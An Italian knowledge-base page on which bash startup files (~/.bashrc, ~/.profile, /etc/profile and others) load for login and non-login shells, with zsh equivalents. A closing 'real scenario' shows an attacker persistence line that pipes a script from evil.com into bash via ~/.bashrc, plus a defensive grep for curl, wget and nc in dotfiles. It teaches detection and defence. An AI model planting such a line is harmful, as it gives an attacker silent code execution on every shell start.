Skip to main content
  1. Concetti/

Bash Startup Files - file di avvio

·3 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

`

Cosa fa
#

Quando bash si avvia, legge una serie di file di configurazione in ordine preciso per costruire l'ambiente della shell. Quali file vengono letti dipende dal tipo di sessione. Capire questo ordine e' fondamentale per sapere dove mettere variabili, alias e funzioni in modo che sopravvivano ai riavvii.

TL;DR
#

Apri un terminale in GUI    →  non-login shell  →  legge ~/.bashrc
SSH verso un server         →  login shell      →  legge ~/.profile (o ~/.bash_profile)
                                                    che di solito chiama ~/.bashrc
su -                        →  login shell      →  stesso percorso di SSH
bash script.sh              →  non-interattiva  →  non legge nessun file
source script.sh            →  shell corrente   →  non riavvia niente

I due tipi di sessione
#

LOGIN SHELL                          NON-LOGIN SHELL
─────────────────────────────        ──────────────────────────────
SSH verso un server                  Nuovo terminale in GUI
su - utente                          tmux, screen
Console TTY (login fisico)           subshell lanciata da bash
                                     bash script.sh

Legge:                               Legge:
/etc/profile                         /etc/bash.bashrc
~/.bash_profile                      ~/.bashrc
~/.bash_login (se .bash_profile
  non esiste)
~/.profile (se nessuno dei
  precedenti esiste)

I file uno per uno
#

/etc/profile
#

Globale — letto da tutti gli utenti all'avvio di una login shell. Imposta variabili di sistema valide per tutti. Non modificarlo per configurazioni personali.

~/.bash_profile
#

Personale — letto alla login. Non esiste di default su Ubuntu. Se lo crei, bash smette di leggere ~/.bash_login e ~/.profile. Di solito contiene solo una riga:

# ~/.bash_profile standard
if [ -f ~/.bashrc ]; then
    source ~/.bashrc
fi

Questo fa convergere tutto su ~/.bashrc.

~/.bash_login
#

Letto solo se ~/.bash_profile non esiste. Raro — legacy.

~/.profile
#

Letto se ne' ~/.bash_profile ne' ~/.bash_login esistono. Default su Ubuntu — e' qui che la login shell atterisce. Chiama ~/.bashrc internamente.

~/.bashrc
#

Il file piu' importante per la configurazione personale. Letto dalle shell non-login interattive. Contiene alias, funzioni, PS1, export di variabili. Di fatto e' il punto di convergenza su Ubuntu — sia login che non-login finiscono qui.

/etc/bash.bashrc
#

Come ~/.bashrc ma globale — per tutti gli utenti. Letto dalle non-login shell prima di ~/.bashrc.


Il flusso su Ubuntu
#

SSH login (login shell)
/etc/profile
~/.profile  ──── chiama ────► source ~/.bashrc
                               alias, export, PS1
                               tutto converge qui

Nuovo terminale GUI (non-login shell)
/etc/bash.bashrc
~/.bashrc
alias, export, PS1

Su Ubuntu tutto converge su ~/.bashrc — e' li' che metti la tua configurazione.


Dove mettere cosa
#

CosaDove
Alias personali~/.bashrc
PS1 personalizzato~/.bashrc
export PATH=... personale~/.bashrc
export EDITOR=vim~/.bashrc
Variabili per tutti gli utenti/etc/environment
Script da eseguire al login (una volta)~/.profile

zsh — la stessa logica con nomi diversi
#

Se usi zsh (default su macOS e Kali):

~/.bashrc      →  ~/.zshrc
~/.bash_profile →  ~/.zprofile
~/.profile     →  ~/.zprofile (in alcuni casi)

La logica e' identica — cambia solo il nome dei file.


Scenario Reale
#

Un attaccante che ottiene accesso a un sistema modifica ~/.bashrc aggiungendo:

curl http://evil.com/payload.sh | bash

Ad ogni nuovo terminale aperto dall'utente — o ad ogni login SSH — il payload viene eseguito silenziosamente. E' uno dei vettori di persistence piu' usati perche' ~/.bashrc viene raramente monitorato.

# Difesa — controlla i dotfile alla ricerca di comandi sospetti
grep -E "curl|wget|nc|python|bash" ~/.bashrc ~/.profile ~/.zshrc 2>/dev/null
Su un sistema sospetto controlla sempre i dotfile prima di aprire nuovi terminali — ogni apertura di terminale potrebbe eseguire codice malevolo.

Dove l'ho incontrato
#

  • shell-interattiva — concetto login vs non-login shell
  • export — le variabili esportate vivono in questi file
  • alias — gli alias permanenti vivono in ~/.bashrc

Collegato a
#

  • system — categoria
  • shell-environment — le variabili definite in questi file costruiscono l'ambiente
  • shell-interattiva — login shell vs non-login shell
  • export — export in ~/.bashrc rende le variabili permanenti
  • alias — alias in ~/.bashrc sopravvivono ai riavvii

Related